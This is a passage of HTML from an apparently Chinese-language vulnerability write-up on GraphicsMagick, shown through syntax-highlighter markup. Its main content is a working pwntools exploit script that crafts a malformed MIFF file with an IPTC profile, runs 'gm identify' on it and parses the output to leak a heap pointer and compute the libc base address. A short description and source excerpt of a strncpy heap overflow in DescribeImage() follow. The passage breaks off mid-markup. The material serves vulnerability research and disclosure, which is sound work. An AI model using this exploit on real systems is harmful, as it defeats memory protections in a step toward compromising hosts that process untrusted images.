style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> #!\/usr\/bin\/python  # GraphicsMagick IPTC Profile libc Leak    from pwn import *    directory = &#8220;DIR&#8221;  partitions = (&#8216;id=ImageMagick  version=1.0nclass=DirectClass  matte=Falsen&#8217; +                &#8216;columns=1  rows=1  depth=16nscene=1nmontage=1&#215;1+0+0nprofil&#8217; +                &#8216;e-iptc=&#8217;,                &#8216;nx0cn:x1a&#8217;,                &#8216;nx00&#8217;,                &#8216;nx00xbexbexbexbexbexben&#8217;)  output = &#8220;readexploit.miff&#8221;  length = 8    #libc_main_arena_entry_offset = 0x3c4ba8  libc_main_arena_entry_offset = 0x3c4b98    def main():      data = &#8220;AAA&#8221; + &#8220;x1c&#8221; + &#8220;x00&#8243; + chr(10) + p16(0x8, endian=&#8221;big&#8221;)      header = partitions[0] + str(length) + partitions[1]      payload = header + directory + partitions[2] + data + partitions[3]      file(output, &#8220;w&#8221;).write(payload)        p = process(executable=&#8221;gm&#8221;, argv=[&#8220;identify&#8221;, &#8220;-verbose&#8221;, output])      output_leak = p.recvall()      priority_offset = output_leak.index(&#8220;Priority:&#8221;) + 12      montage_offset = output_leak.index(&#8220;Montage:&#8221;) &#8211; 3      leak = output_leak[priority_offset:montage_offset]      if &#8220;0x00000000&#8221; in leak:          log.info(&#8220;Unlucky run. Value corrupted by StringToList&#8221;)          exit()      main_arena_leak = u64(leak.ljust(8, &#8220;x00&#8221;))      log.info(&#8220;Main Arena Leak: 0x%x&#8221; % main_arena_leak)      libc_base = main_arena_leak &#8211; libc_main_arena_entry_offset      log.info(&#8220;libc Base: 0x%x&#8221; % libc_base)    if __name__ == &#8220;__main__&#8221;:      main()<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916118218751694-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916118218751694-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916118218751694-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916118218751694-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916118218751694-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916118218751694-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916118218751694-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916118218751694-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916118218751694-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916118218751694-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916118218751694-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916118218751694-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916118218751694-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916118218751694-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916118218751694-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916118218751694-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916118218751694-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916118218751694-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916118218751694-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916118218751694-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916118218751694-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916118218751694-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916118218751694-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916118218751694-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916118218751694-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916118218751694-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916118218751694-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916118218751694-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916118218751694-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916118218751694-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916118218751694-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916118218751694-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916118218751694-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916118218751694-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916118218751694-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916118218751694-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916118218751694-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916118218751694-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916118218751694-39\">39<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a14a65916118218751694-1\"><span class=\"crayon-p\">#!\/usr\/bin\/python<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916118218751694-2\"><span class=\"crayon-p\"># GraphicsMagick IPTC Profile libc Leak<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916118218751694-3\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916118218751694-4\"><span class=\"crayon-e\">from <\/span><span class=\"crayon-e\">pwn <\/span><span class=\"crayon-e\">import *<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916118218751694-5\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916118218751694-6\"><span class=\"crayon-v\">directory<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;DIR&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916118218751694-7\"><span class=\"crayon-v\">partitions<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;id=ImageMagick&nbsp;&nbsp;version=1.0nclass=DirectClass&nbsp;&nbsp;matte=Falsen&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916118218751694-8\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;columns=1&nbsp;&nbsp;rows=1&nbsp;&nbsp;depth=16nscene=1nmontage=1&#215;1+0+0nprofil&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916118218751694-9\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;e-iptc=&#8217;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916118218751694-10\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;nx0cn:x1a&#8217;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916118218751694-11\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;nx00&#8217;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916118218751694-12\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;nx00xbexbexbexbexbexben&#8217;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916118218751694-13\"><span class=\"crayon-v\">output<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;readexploit.miff&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916118218751694-14\"><span class=\"crayon-v\">length<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916118218751694-15\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916118218751694-16\"><span class=\"crayon-p\">#libc_main_arena_entry_offset = 0x3c4ba8<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916118218751694-17\"><span class=\"crayon-v\">libc_main_arena_entry_offset<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x3c4b98<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916118218751694-18\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916118218751694-19\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">main<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916118218751694-20\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;AAA&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;x1c&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;x00&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">chr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">p16<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0x8<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">endian<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;big&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916118218751694-21\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">header<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">partitions<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">str<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">length<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">partitions<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916118218751694-22\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">header<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">directory<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">partitions<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">partitions<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916118218751694-23\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">file<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">output<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;w&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">write<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">payload<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916118218751694-24\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916118218751694-25\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">process<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">executable<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;gm&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">argv<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8220;identify&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;-verbose&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">output<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916118218751694-26\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">output_leak<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">recvall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916118218751694-27\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">priority_offset<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">output_leak<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">index<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Priority:&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">12<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916118218751694-28\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">montage_offset<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">output_leak<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">index<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Montage:&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">3<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916118218751694-29\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">leak<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">output_leak<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">priority_offset<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-v\">montage_offset<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916118218751694-30\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;0x00000000&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">leak<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916118218751694-31\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">log<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">info<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Unlucky run. Value corrupted by StringToList&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916118218751694-32\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916118218751694-33\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">main_arena_leak<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">u64<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">leak<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">ljust<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">8<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;x00&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916118218751694-34\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">log<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">info<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Main Arena Leak: 0x%x&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">main_arena_leak<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916118218751694-35\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">libc_base<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">main_arena_leak<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">libc_main_arena_entry_offset<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916118218751694-36\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">log<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">info<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;libc Base: 0x%x&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">libc_base<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916118218751694-37\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916118218751694-38\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__name__<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;__main__&#8221;<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916118218751694-39\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">main<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0070 seconds] -->  <\/p>\n<p><strong>\u5806\u6ea2\u51fa<\/strong><br \/> GraphicsMagick\u5bb9\u6613\u53d7\u5230magick\/describe.c\u6587\u4ef6\u7684DescribeImage\uff08\uff09\u51fd\u6570\u4e2d\u53d1\u73b0\u7684\u5806\u6ea2\u51fa\u6f0f\u6d1e\u7684\u5f71\u54cd\u3002<\/p>\n<p>\u4e0b\u9762\u4ee3\u7801\u4e2d855\u884c\u7684strncpy\u7684\u8c03\u7528\uff0c\u6ca1\u6709\u9650\u5236\u8981\u590d\u5236\u5230\u76ee\u7684\u7f13\u51b2\u533a\uff0c\u800c\u662f\u901a\u8fc7\u5728\u76ee\u5f55\u540d\u79f0\u4e2d\u641c\u7d22\u6362\u884c\u7b26\u6216\u7a7a\u5b57\u8282\u6765\u8ba1\u7b97\u5927\u5c0f\u3002<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a14a6591611e628022005\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> 844       \/*  845         Display visual image directory.  846       *\/  847       image_info=CloneImageInfo((ImageInfo *) NULL);  848       (void) CloneString(&amp;image_info-&gt;size,&#8221;64&#215;64&#8243;);  849       (void) fprintf(file,&#8221;  Directory:n&#8221;);  850       for (p=image-&gt;directory; *p != &#8216;\u0000&#8217;; p++)  851         {  852           q=p;  853           while ((*q != &#8216;n&#8217;) &amp;&amp; (*q != &#8216;\u0000&#8217;))  854             q++;  855           (void) strncpy(image_info-&gt;filename,p,q-p);  856           image_info-&gt;filename[q-p]=&#8217;\u0000&#8217;;  857           p=q;  &#8230;  880         }  881       DestroyImageInfo(image_info);<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591611e628022005-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a6591611e628022005-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591611e628022005-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a6591611e628022005-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591611e628022005-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a6591611e628022005-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591611e628022005-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a6591611e628022005-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591611e628022005-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a6591611e628022005-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591611e628022005-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" 